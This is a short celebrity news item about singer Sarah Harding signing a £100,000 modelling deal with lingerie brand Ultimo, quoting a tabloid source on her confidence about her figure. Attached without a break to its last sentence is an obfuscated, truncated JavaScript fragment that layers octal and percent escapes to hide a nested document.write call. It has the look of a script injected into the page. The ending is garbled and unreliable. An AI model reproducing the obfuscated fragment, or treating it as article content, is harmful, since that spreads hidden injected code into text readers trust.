Stunning singer Sarah Harding has signed a £100,000 deal with bra firm Ultimo.
The Girls Aloud star will be the face of the underwear giant's new advertising campaign.
And she will be in good company as she is following in the footsteps of beauties such as Helena Christensen and Penny Lancaster, who have also posed for the firm.
It will be the first time a member of the girl group has done solo promotional work.
"Sarah isn't afraid of showing off her body - she's got a great figure and she knows it," a source told The Sun.
"The other girls aren't as confident about their bodies as Sarah so it's not something they'd go for.
"They have done sexy shoots for lads' mags but doing a modelling deal in just a bra and pants is not the same thing."
The 24-year-old singer's ads will be used to target a younger audience than the firm usually attracts.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;